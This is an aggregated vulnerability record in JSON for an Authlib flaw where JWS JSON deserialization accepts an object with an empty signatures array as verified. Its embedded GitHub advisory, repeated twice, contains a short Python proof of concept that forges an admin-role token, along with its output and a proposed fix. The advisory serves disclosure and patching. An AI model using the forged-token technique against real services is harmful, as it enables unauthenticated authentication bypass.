{"id":"CVE-2026-96760","aliases":["DEBIAN-CVE-2026-96760","EUVD-2026-88465","GHSA-6m87-8wg6-hh8w","GHSA-6v38-4h7w-rj9h","UBUNTU-CVE-2026-96760","openSUSE-SU-2026:12390-1"],"status":"published","title":"Authlib library contains a signature‑verification bypass vulnerability","description":"Authlib (v1.8.0 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-11","score":0.00433,"percentile":0.38034,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-20","CWE-347","CWE-358","CWE-670"],"published":"2026-09-28T19:37:58Z","modified":"2026-11-11T15:46:59Z","exploits":[{"source":"pocgithub","id":"uziii2208/CVE-2026-96760","title":"uziii2208/CVE-2026-96760","date":"2026-09-30","url":"https://github.com/uziii2208/CVE-2026-96760"},{"source":"pocgithub","id":"federiconbaez/cortex9-authlib-jws-json-empty-signatures-model","title":"federiconbaez/cortex9-authlib-jws-json-empty-signatures-model","date":"2026-11-09","url":"https://github.com/federiconbaez/cortex9-authlib-jws-json-empty-signatures-model"}],"fixes":[{"ecosystem":"PyPI","package":"authlib","fixed_in":["1.9.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"python-authlib","fixed_in":["1.9.1-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.8.0"},{"fixed":"1.9.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.0-1","1.2.0-1+deb12u1","1.2.0-1+deb12u2","1.2.1-1","1.3.0-1","1.3.0-2","1.3.0-3","1.3.1-1","1.3.2-1","1.3.2-2","1.4.0-1","1.4.1-1","1.5.0-1","1.5.1-1","1.5.2-1","1.6.0-1","1.6.1-1","1.6.3-1","1.6.4-1","1.6.5-1","1.6.6-1","1.6.7-1","1.6.8-1","1.6.9-1","1.7.0-1","1.7.2-1","1.7.2-2","1.9.1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.6.0-1","1.6.0-1+deb13u1","1.6.1-1","1.6.3-1","1.6.4-1","1.6.5-1","1.6.6-1","1.6.7-1","1.6.8-1","1.6.9-1","1.7.0-1","1.7.2-1","1.7.2-2","1.9.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.1-1"}]}],"versions":["1.6.0-1","1.6.1-1","1.6.3-1","1.6.4-1","1.6.5-1","1.6.6-1","1.6.7-1","1.6.8-1","1.6.9-1","1.7.0-1","1.7.2-1","1.7.2-2"]},{"source":"osv","ecosystem":"PyPI","package":"authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.0"}]}],"versions":["0.1","0.10","0.11","0.12","0.12.1","0.13","0.14","0.14.1","0.14.2","0.14.3","0.15","0.15.1","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.1rc0","0.2","0.2.1","0.3","0.4","0.4.1","0.5","0.5.1","0.6","0.7","0.8","0.9","1.0.0","1.0.0a1","1.0.0a2","1.0.0b1","1.0.0b2","1.0.0rc1","1.0.1","1.1.0","1.2.0","1.2.1","1.3.0","1.3.1","1.3.2","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.6.1","1.6.10","1.6.11","1.6.12","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.1","1.7.2","1.8.0"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.15.4-1","0.15.5-1","0.15.5-1ubuntu0.1~esm1","0.15.5-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1-1","1.3.0-1","1.3.0-1ubuntu0.1~esm1","1.3.0-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.6.7-1","1.7.2-1","1.7.2-2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"python-authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.6.0-1","1.6.5-1","1.6.6-1","1.6.7-1","1.6.7-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Authlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.1-1.1"}]}],"bundled":10}],"products":[{"vendor":"authlib","product":"authlib"}],"references":[{"url":"https://github.com/authlib/authlib","tags":["package","web","report"]},{"url":"https://kb.cert.org/vuls/id/762428","tags":["web","report"]},{"url":"https://www.kb.cert.org/vuls/id/762428","tags":["web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96760","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6m87-8wg6-hh8w"},{"url":"https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h","tags":["web"]},{"url":"https://github.com/authlib/authlib/pull/938","tags":["web"]},{"url":"https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733","tags":["web"]},{"url":"https://github.com/authlib/authlib/releases/tag/v1.9.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-6v38-4h7w-rj9h"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96760.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-96760","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-96760","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-96760","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-62706","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-114614","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-114615","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-114616","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-114617","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-114618","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-114619","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-116672","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41425","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96760","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-96760","title":"Authlib library contains a signature‑verification bypass vulnerability","description":"Authlib (v1.8.0 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.","status":"published","published":"2026-09-28T19:37:58.973Z","modified":"2026-11-11T15:46:59.138Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-347","CWE-670","CWE-358","CWE-20"],"updated_at":"2026-11-11T16:29:58.114232Z"}],"euvd":[{"id":"EUVD-2026-88465","description":"Authlib (v1.8.0 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.","status":"published","published":"2026-09-28T19:37:58Z","modified":"2026-11-11T15:46:59Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-11T17:29:39.353655Z"}],"ghsa":[{"id":"GHSA-6m87-8wg6-hh8w","title":"Duplicate Advisory: Authlib: empty signatures validation in JWS JSON deserialization","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6v38-4h7w-rj9h. This link is maintained to preserve external references.\n\n## Original Description\nAuthlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.","status":"withdrawn","published":"2026-09-28T21:31:18Z","modified":"2026-10-27T14:50:09Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:41:36.858527Z"},{"id":"GHSA-6v38-4h7w-rj9h","title":"Authlib: empty signatures validation in JWS JSON deserialization","description":"Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.\n\n## Root cause\n\n`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:\n\n```python\nis_valid = True                        # set before anything is checked\nfor header_obj in obj[\"signatures\"]:   # empty array means the body never runs\n    jws_header, valid = self._validate_json_jws(...)\n    if not valid:\n        is_valid = False\n...\nif is_valid:\n    return rv                          # returns the payload as verified\n```\n\n`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON\nSerialization object whose `signatures` array is empty iterates zero times, so the flag survives and\nthe payload is returned as successfully verified. No key is consulted, because no signature is\nexamined.\n\n## Reproduction\n\n```python\nimport base64\nfrom authlib.jose import JsonWebSignature\n\ndef b64(b):\n    return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\njws = JsonWebSignature()\npayload = b'{\"sub\":\"attacker\",\"role\":\"admin\"}'\nforged = {\"payload\": b64(payload), \"signatures\": []}\n\nprint(jws.deserialize_json(forged, key=None))\n```\n\nObserved on authlib 1.8.0, Python 3.14, clean virtualenv:\n\n```\n[A] ATTACK   general JSON, signatures:[] , key=None\n    ACCEPTED  -\u003e {'header': [], 'payload': b'{\"sub\":\"attacker\",\"role\":\"admin\"}'}\n[B] ATTACK   general JSON, signatures:[] , key=\u003creal key\u003e\n    ACCEPTED  -\u003e {'header': [], 'payload': b'{\"sub\":\"attacker\",\"role\":\"admin\"}'}\n[C] CONTROL+ genuine general JSON with 2 signatures, right key\n    ACCEPTED (expected) payload= b'{\"sub\":\"attacker\",\"role\":\"admin\"}'\n[D] CONTROL- same object, first signature corrupted\n    rejected (expected): BadSignatureError bad_signature:\n[E] CONTROL- signatures array removed entirely (not empty, absent)\n    rejected: DecodeError Missing \"protected\" value:\n```\n\n[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves\ntampering is caught. [E] proves this is specifically the empty-array case and not a general\nmissing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not\nsave a caller: the empty array is accepted either way.\n\nFor comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects\nthe identical object with `BadSignatureError`. The correct behaviour already exists in your newer\nlibrary.\n\n## Impact\n\nAny relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will\naccept an attacker-authored payload as signed. Where that payload carries identity or authorisation\nclaims, this is a complete authentication bypass by an unauthenticated remote caller with no key\nmaterial. \n\n## What would fix it\n\nIn `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag\nfrom the signature count, for example `is_valid = len(obj[\"signatures\"]) \u003e 0`. Pull request #938\nproposes the same thing.","status":"published","published":"2026-10-27T14:50:18Z","modified":"2026-10-27T14:50:19Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:41:36.858527Z"}],"nvd":[{"id":"CVE-2026-96760","description":"Authlib (v1.8.0 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.","status":"published","published":"2026-09-28T20:17:11.703Z","modified":"2026-11-11T16:17:25.75Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-20","CWE-347","CWE-358","CWE-670"],"updated_at":"2026-11-11T17:25:35.700993Z"}],"osv":[{"id":"CVE-2026-96760","title":"Authlib library contains a signature‑verification bypass vulnerability","description":"Authlib (v1.8.0 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.","status":"published","published":"2026-09-28T19:37:58.973Z","modified":"2026-11-12T02:48:35.125628514Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-12T03:30:48.739835Z"},{"id":"DEBIAN-CVE-2026-96760","description":"Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.","status":"published","published":"2026-09-28T20:17:11.703Z","modified":"2026-10-31T10:02:36.084520142Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:46:07.324252Z"},{"id":"GHSA-6m87-8wg6-hh8w","title":"Duplicate Advisory: Authlib: empty signatures validation in JWS JSON deserialization","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6v38-4h7w-rj9h. This link is maintained to preserve external references.\n\n## Original Description\nAuthlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.","status":"withdrawn","published":"2026-09-28T21:31:18Z","modified":"2026-10-27T15:00:05.441563351Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:46:39.965326Z"},{"id":"GHSA-6v38-4h7w-rj9h","title":"Authlib: empty signatures validation in JWS JSON deserialization","description":"Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.\n\n## Root cause\n\n`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:\n\n```python\nis_valid = True                        # set before anything is checked\nfor header_obj in obj[\"signatures\"]:   # empty array means the body never runs\n    jws_header, valid = self._validate_json_jws(...)\n    if not valid:\n        is_valid = False\n...\nif is_valid:\n    return rv                          # returns the payload as verified\n```\n\n`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON\nSerialization object whose `signatures` array is empty iterates zero times, so the flag survives and\nthe payload is returned as successfully verified. No key is consulted, because no signature is\nexamined.\n\n## Reproduction\n\n```python\nimport base64\nfrom authlib.jose import JsonWebSignature\n\ndef b64(b):\n    return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\njws = JsonWebSignature()\npayload = b'{\"sub\":\"attacker\",\"role\":\"admin\"}'\nforged = {\"payload\": b64(payload), \"signatures\": []}\n\nprint(jws.deserialize_json(forged, key=None))\n```\n\nObserved on authlib 1.8.0, Python 3.14, clean virtualenv:\n\n```\n[A] ATTACK   general JSON, signatures:[] , key=None\n    ACCEPTED  -\u003e {'header': [], 'payload': b'{\"sub\":\"attacker\",\"role\":\"admin\"}'}\n[B] ATTACK   general JSON, signatures:[] , key=\u003creal key\u003e\n    ACCEPTED  -\u003e {'header': [], 'payload': b'{\"sub\":\"attacker\",\"role\":\"admin\"}'}\n[C] CONTROL+ genuine general JSON with 2 signatures, right key\n    ACCEPTED (expected) payload= b'{\"sub\":\"attacker\",\"role\":\"admin\"}'\n[D] CONTROL- same object, first signature corrupted\n    rejected (expected): BadSignatureError bad_signature:\n[E] CONTROL- signatures array removed entirely (not empty, absent)\n    rejected: DecodeError Missing \"protected\" value:\n```\n\n[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves\ntampering is caught. [E] proves this is specifically the empty-array case and not a general\nmissing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not\nsave a caller: the empty array is accepted either way.\n\nFor comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects\nthe identical object with `BadSignatureError`. The correct behaviour already exists in your newer\nlibrary.\n\n## Impact\n\nAny relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will\naccept an attacker-authored payload as signed. Where that payload carries identity or authorisation\nclaims, this is a complete authentication bypass by an unauthenticated remote caller with no key\nmaterial. \n\n## What would fix it\n\nIn `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag\nfrom the signature count, for example `is_valid = len(obj[\"signatures\"]) \u003e 0`. Pull request #938\nproposes the same thing.","status":"published","published":"2026-10-27T14:50:18Z","modified":"2026-10-27T15:00:05.448675412Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:46:39.965326Z"},{"id":"UBUNTU-CVE-2026-96760","description":"Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.","status":"published","published":"2026-09-28T20:17:00Z","modified":"2026-10-17T13:01:20.166771294Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T16:57:44.071534Z"},{"id":"openSUSE-SU-2026:12390-1","title":"python313-Authlib-1.9.1-1.1 on GA media","description":"These are all security issues fixed in the python313-Authlib-1.9.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-11-02T00:00:00Z","modified":"2026-11-03T17:23:11.947045508Z","updated_at":"2026-11-03T18:00:34.078068Z"}]}}
